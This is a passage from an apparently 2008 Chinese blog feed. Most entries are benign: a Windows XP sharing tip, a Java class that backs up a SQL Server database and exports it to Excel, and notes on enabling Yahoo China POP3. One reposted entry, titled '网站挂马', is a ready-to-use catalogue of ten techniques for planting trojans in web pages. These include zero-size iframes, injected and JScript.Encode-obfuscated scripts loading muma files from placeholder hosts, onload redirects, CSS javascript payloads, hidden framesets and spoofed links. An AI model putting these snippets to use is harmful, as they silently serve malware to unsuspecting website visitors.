<p><span><span>　　所以，访问Windows XP最简单的方法就是：不用启用Guest，仅修改上面的安全策略为&#8220;</span><a id="vad_0" onmouseover="this.style.borderBottom='2px #FF3366 solid';var fxEvent=arguments[0];kwmouseover(this,0,fxEvent);" title="新浪Sina/宏界Vogate提供" style="font-size: 1em; cursor: pointer; color: #ff3366; border-bottom: #ff3366 1px dotted; text-decoration: underline" onmouseout="this.style.borderBottom='1px #FF3366 dotted'; kwmouseout(this,0)" href="http://action.vogate.com/c/c.php?r=http%3A//www.baidu.com/s%3Fwd%3D%25BD%25E2%25BE%25F6XP%25D6%25D0%25C6%25F4%25D3%25C3Guest%25CE%25DE%25B7%25A8%25B7%25C3%25CE%25CA%25CD%25F8%25C2%25E7%25B5%25C4%25CE%25CA%25CC%25E2+&amp;aid=6701&amp;sid=6235007045043601&amp;click=1&amp;url=http%3A//www.xinhuagift.com/chinese/&amp;v=0&amp;s=http%3A//www.xx521.com/Article/ShowArticle.asp%3FArticleID%3D29040&amp;rn=116221&amp;k=%u7ECF%u5178" target="_blank" name="0">经典</a><span><span>&#8221;就行了。别的系统访问Windows XP就可以自己输入帐户<a id="vad_6" onmouseover="this.style.borderBottom='2px #FF3366 solid';var fxEvent=arguments[0];kwmouseover(this,6,fxEvent);" title="新浪Sina/宏界Vogate提供" style="font-size: 1em; cursor: pointer; color: #ff3366; border-bottom: #ff3366 1px dotted; text-decoration: underline" onmouseout="this.style.borderBottom='1px #FF3366 dotted'; kwmouseout(this,6)" href="http://action.vogate.com/c/c.php?r=http%3A//www.baidu.com/s%3Fwd%3D%25BD%25E2%25BE%25F6XP%25D6%25D0%25C6%25F4%25D3%25C3Guest%25CE%25DE%25B7%25A8%25B7%25C3%25CE%25CA%25CD%25F8%25C2%25E7%25B5%25C4%25CE%25CA%25CC%25E2+&amp;aid=5404&amp;sid=6235007045043601&amp;click=1&amp;url=http%3A//www.shangqiu.cc&amp;v=0&amp;s=http%3A//www.xx521.com/Article/ShowArticle.asp%3FArticleID%3D29040&amp;rn=599425&amp;k=%u4FE1%u606F" target="_blank" name="6">信息</a>。</span></span></span></p>
</div>
<img src ="http://www.blogjava.net/zqli/aggbug/214159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-07-11 08:47 <a href="http://www.blogjava.net/zqli/archive/2008/07/11/214159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】网站挂马</title><link>http://www.blogjava.net/zqli/archive/2008/07/02/212131.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Wed, 02 Jul 2008 08:16:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/07/02/212131.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/212131.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/07/02/212131.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/212131.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/212131.html</trackback:ping><description><![CDATA[&nbsp;
<p><span style="font-family: 宋体">挂马代码大全</span> <br />
<br />
<span style="font-family: 宋体">一</span>:<span style="font-family: 宋体">框架挂马</span> <br />
<br />
&lt;iframe src=<span style="font-family: 宋体">地址</span> width=0 height=0&gt;&lt;/iframe&gt; <br />
<br />
<span style="font-family: 宋体">二</span>:js<span style="font-family: 宋体">文件挂马</span> <br />
<br />
<span style="font-family: 宋体">首先将以下代码</span> <br />
document.write("&lt;iframe width='0' height='0' src='<span style="font-family: 宋体">地址</span>'&gt;&lt;/iframe&gt;"); <br />
<span style="font-family: 宋体">保存为</span>xxx.js<span style="font-family: 宋体">，</span> <br />
<span style="font-family: 宋体">则</span>JS<span style="font-family: 宋体">挂马代码为</span> <br />
&lt;script language=javascript src=xxx.js&gt;&lt;/script&gt; <br />
<br />
<span style="font-family: 宋体">三</span>:js<span style="font-family: 宋体">变形加密</span> <br />
<br />
&lt;SCRIPT language="JScript.Encode" src=<a href="http://www.xxx.com/muma.txt" target="_blank">http://www.xxx.com/muma.txt</a>&gt;&lt;/script&gt; <br />
muma.txt<span style="font-family: 宋体">可改成任意后缀</span> <br />
<span style="font-family: 宋体">四</span>:body<span style="font-family: 宋体">挂马</span> <br />
<br />
&lt;body onload="window.location='<span style="font-family: 宋体">地址</span>';"&gt;&lt;/body&gt; <br />
<br />
<span style="font-family: 宋体">五</span>:<span style="font-family: 宋体">隐蔽挂马</span> <br />
<br />
top.document.body.innerHTML = top.document.body.innerHTML + '"r"n&lt;iframe src="<a href="http://www.xxx.com/muma.htm/" target="_blank">http://www.xxx.com/muma.htm/</a>"&gt;&lt;/iframe&gt;'; <br />
<br />
<span style="font-family: 宋体">六</span>:css<span style="font-family: 宋体">中挂马</span> <br />
<br />
body { <br />
background-image: url('javascript:document.write("&lt;script src=<a href="http://www.xxx.net/muma.js" target="_blank">http://www.XXX.net/muma.js</a>&gt;&lt;/script&gt;")')} <br />
<br />
<span style="font-family: 宋体">七</span>:JAJA<span style="font-family: 宋体">挂马</span> <br />
<br />
&lt;SCRIPT language=javascript&gt; <br />
window.open ("<span style="font-family: 宋体">地址</span>","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); <br />
&lt;/script&gt; <br />
<br />
<span style="font-family: 宋体">八</span>:<span style="font-family: 宋体">图片伪装</span> <br />
<br />
&lt;html&gt; <br />
&lt;iframe src="<span style="font-family: 宋体">网马地址</span>" height=0 width=0&gt;&lt;/iframe&gt; <br />
&lt;img src="<span style="font-family: 宋体">图片地址</span>"&gt;&lt;/center&gt; <br />
&lt;/html&gt; <br />
<br />
<span style="font-family: 宋体">九</span>:<span style="font-family: 宋体">伪装调用：</span> <br />
<br />
&lt;frameset rows="444,0" cols="*"&gt; <br />
&lt;frame src="<span style="font-family: 宋体">打开网页</span>" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"&gt; <br />
&lt;frame src="<span style="font-family: 宋体">网马地址</span>" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"&gt; <br />
&lt;/frameset&gt; <br />
<br />
<span style="font-family: 宋体">十</span>:<span style="font-family: 宋体">高级欺骗</span> <br />
<br />
&lt;a href="<a href="http://www.163.com/" target="_blank">http://www.163.com</a>(<span style="font-family: 宋体">迷惑连接地址，显示这个地址指向木马地址</span>)" onMouseOver="www_163_com(); return true;"&gt; <span style="font-family: 宋体">页面要显示的内容</span> &lt;/a&gt; <br />
&lt;SCRIPT Language="JavaScript"&gt; <br />
function www_163_com () <br />
{ <br />
var url="<span style="font-family: 宋体">网马地址</span>"; <br />
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); <br />
} <br />
&lt;/SCRIPT&gt;</p>
<img src ="http://www.blogjava.net/zqli/aggbug/212131.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-07-02 16:16 <a href="http://www.blogjava.net/zqli/archive/2008/07/02/212131.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]在虚拟主机环境下备份数据库并且导出到EXCEL  </title><link>http://www.blogjava.net/zqli/archive/2008/07/02/212127.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Wed, 02 Jul 2008 08:12:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/07/02/212127.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/212127.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/07/02/212127.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/212127.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/212127.html</trackback:ping><description><![CDATA[<span id="ArticleContent1_ArticleContent1_lblContent">&nbsp;
<p>在虚拟主机的环境下，因为没有管理员权限，只有数据库使用权限，定时备份SQL数据是</p>
<p>个比较麻烦的问题。解决思路如下：（仅对SQL2000有效)<br />
1. 利用T-SQL备份数据库到指定目录，文件名根据日期指定。<br />
2. 利用Resin的定时功能，定时执行备份。<br />
3. 用户定时下载备份并且删除过期备份。</p>
<p>导出全部数据到Excel也比较实用。下面提供的方法可以导出库中的全部表，也可以指定</p>
<p>几个表导出。注意：<br />
1. 因为是导出全部数据，在数据比较多的情况下慎用。<br />
2. 理论上应该适用各种JDBC数据库，仅对SQL2000测试过<br />
3. 对于B/S下载，建议不要在服务器上生成文件，以免造成垃圾文件。直接从HTTP的Response中取得OutputStream进行输出。<br />
4. Excel操作的API请到这里下载：<a href="http://www.andykhan.com/jexcelapi/">http://www.andykhan.com/jexcelapi/</a><br />
</p>
<p>package steeven;<br />
import jxl.write.*;<br />
import java.util.*;<br />
import java.sql.Statement;<br />
import java.sql.ResultSet;<br />
import java.sql.Types;<br />
import java.sql.Connection;<br />
import java.sql.PreparedStatement;<br />
import java.sql.SQLException;<br />
import java.text.DateFormat;<br />
import java.io.*;</p>
<p>/**<br />
&nbsp;* &lt;p&gt;Title: 数据库备份&lt;/p&gt;<br />
&nbsp;* &lt;p&gt;Description: 在Java中备份数据库&lt;/p&gt;<br />
&nbsp;* @author steeven<br />
&nbsp;* @version 1.0<br />
&nbsp;*/<br />
public class DBackup{<br />
&nbsp;&nbsp;&nbsp; Context ctx ;<br />
&nbsp;&nbsp;&nbsp; public DBackup(Context ctx) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.ctx = ctx;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 备份SQL2000数据库到文件，整个数据库备份<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 文件名后面将追加备份年月日。例如：c:\dbBackup\mydb031109<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param file 导出的文件名全路径。例如："c:\\dbBackup\\mydb"<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public void backup(String dbName, String file)throws SQLException{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String sql = "BACKUP DATABASE ["+dbName+"] TO DISK = N'";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sql += file + new SimpleDateFormat("yyMMdd").format(new Date());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sql += "' WITH&nbsp; NOINIT ,&nbsp; NOUNLOAD ,&nbsp; NAME = N'lvdong',&nbsp; NOSKIP ,&nbsp; </p>
<p>STATS = 10,&nbsp; NOFORMAT";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Statement stmt = ctx.getConnection().createStatement();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stmt.executeUpdate(sql);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 导出整个数据库到Excel<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param conn 数据库连接<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param out 输出Stream<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static void db2Excel(Connection conn,OutputStream out)throws </p>
<p>Exception{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; db2Excel(conn,out,getTables(conn));<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 导出数据库中指定的表名到Excel<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param conn 数据库连接<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param out 输出Stream<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @param tables 表名<br />
&nbsp;&nbsp;&nbsp;&nbsp; * @throws Exception<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static void db2Excel(Connection conn,OutputStream out,List </p>
<p>tables)throws Exception{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WritableWorkbook wb = jxl.Workbook.createWorkbook(out);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; tables.size(); i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WritableSheet sheet = wb.createSheet(tables.get(i).toString(),i);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; writeSheet(sheet,tables.get(i).toString(),conn);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wb.write();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wb.close();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 导出表数据到Excel的sheet<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static void writeSheet(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WritableSheet sheet,String table,Connection conn)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws Exception<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //取得所有表数据<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String sql = "select * from "+DB.ESC1+table+DB.ESC2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ResultSet rs = conn.createStatement().executeQuery(sql);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //根据ResultSet的MetaData取得表头，列数，列宽<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; java.sql.ResultSetMetaData meta = rs.getMetaData();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int n = meta.getColumnCount();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int row = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WritableCellFormat fmt = new WritableCellFormat();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fmt.setBackground(jxl.format.Colour.YELLOW);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; n; i++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //导出表头<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.addCell(new Label(i, row, meta.getColumnLabel(i + 1),fmt));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //设定列宽<br />
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.setColumnView(i,meta.getColumnDisplaySize(i+1));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(rs.next()){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (int i = 0; i &lt; n; i++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //根据列的类型决定Excel中对应的Cell类型，缺省为文本。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WritableCell cell ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(meta.getColumnType(i+1)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.BIT:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.BIGINT:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.BOOLEAN:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.DECIMAL:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.FLOAT:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.INTEGER:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.NUMERIC:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.REAL:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.SMALLINT:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.TINYINT:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; double val = rs.getDouble(i+1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (rs.wasNull()) cell = new jxl.write.Blank(i,row);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cell = new jxl.write.Number(i, row, val);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.DATE:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.TIME:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case Types.TIMESTAMP:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Date date = rs.getDate(i + 1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (rs.wasNull()) cell = new jxl.write.Blank(i,row);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else cell = new jxl.write.DateTime(i, row, date);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cell = new Label(i, row, rs.getString(i + 1));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } //end of switch<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.addCell(cell);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }//end of for each column<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }//end of while(rs.next())<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /**<br />
&nbsp;&nbsp;&nbsp;&nbsp; * 从Connection的MetaData取得所有数据表的名称<br />
&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public static List getTables(Connection conn)throws Exception{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ResultSet rs = conn.getMetaData().getTables(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; null,null,null,new String[]{"Table"});<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List list = new ArrayList();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(rs.next())<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list.add(rs.getString(3));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rs.close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return list;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; public static void main(String[] args) throws Exception{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Connection conn = DB.getConn();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FileOutputStream out = new FileOutputStream("c:\\test.xls");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; db2Excel(conn,out);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out.close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conn.close();<br />
&nbsp;&nbsp;&nbsp; }<br />
}</p>
</span>------------------------------------<br />
<a class="singleposttitle" id="AjaxHolder_ctl01_TitleUrl" href="http://www.cnblogs.com/wildfish/archive/2005/07/12/191136.html">关于虚拟主机的数据库如何备份</a> <br />
<div class="postbody">1.最早的时候用sqlserver的备份功能，在本地可以实现，用程序调用就可以了。后来发不到虚拟机的时候才发现，虚拟机把大部分的存储过程都给关闭了。只好考虑用别的方法。<br />
2.后来，我就用自己写的存储过程来备份数据库，当时是虚拟主机和数据库在同一台机器上，ok没有问题了。<br />
3.现在由于速度问题，虚拟主机必须移到香港，所以第二种方法就没法子实现了。<br />
想来想去，嘿嘿，利用本地的sqlserver。<br />
新建一个包，然后点&#8220;复制sqlserver 对象任务&#8221;，然后输入源/目的/复制的信息。一般如果是数据量比较少的话，我们可以用替换现有数据，也是最正常的情况，我觉得这个比较可行，如果是追加的话，就会丢失修改的信息。然后，虚拟主机的sqlserver一般需要用户名密码，那么我们就在自己本地的sqlserver的安全里面也增加相同用户名及密码。这样我们执行的时候就不会出问题了。<br />
然后我们保存这个包，确信sqlagent服务已经启动。如果启动了，那么我们在数据转换服务-本地包，然后右击我们刚才创建的包，选择调度。设定一个时间段，我一般选择12点，那时候大家都去吃饭了~~</div>
<img src ="http://www.blogjava.net/zqli/aggbug/212127.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-07-02 16:12 <a href="http://www.blogjava.net/zqli/archive/2008/07/02/212127.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>开启Yahoo中国邮箱pop3与smtp的方法</title><link>http://www.blogjava.net/zqli/archive/2008/07/01/211827.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Tue, 01 Jul 2008 02:14:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/07/01/211827.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/211827.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/07/01/211827.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/211827.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/211827.html</trackback:ping><description><![CDATA[上班之后经常用outlook收发邮件，慢慢的习惯了用这种客户端的方便，不过现在好一点的免费邮箱比如yahoo.com.cn或126.com都关闭了对于免费用户的客户端软件收发的支持，不过，我们还是有办法的：）自己搞定之后，把方法介绍给大家。<br />
<br />
首先是Yahoo中国：<br />
1. 先去 <a href="http://mail.yahoo.com.cn/" target="_blank">http://mail.yahoo.com.cn</a> ， 用你的账号登陆进 yahoo 电邮 <br />
2. 然后把下面整个的链接贴到IE地址栏里。(注意：整个都是一行) <br />
<a href="http://rd.yahoo.com/mail_us/options/?http://edit.my.yahoo.com/config/set_popfwd?.src=" target="_blank">http://rd.yahoo.com/mail_us/options/?http://edit.my.yahoo.com/config/set_popfwd?.src=</a>"/ym&amp;";.done=http://us.f93.mail.yahoo.com/ym/Options?YY=22797 <br />
全部粘贴到地址栏中，然后根据提示来激活你的邮箱支持POP功能 <br />
3. 在注册一项中选择&#8220;是&#8221;，然后选择你感兴趣的内容，其它的选项可以根据需要来<br />
选择，然后按"完成"按钮。 <br />
4. 选择&#8220;网上阅读邮件和POP功能&#8221;，其它选项可根据自己的需要选择，完成后按&#8220;提<br />
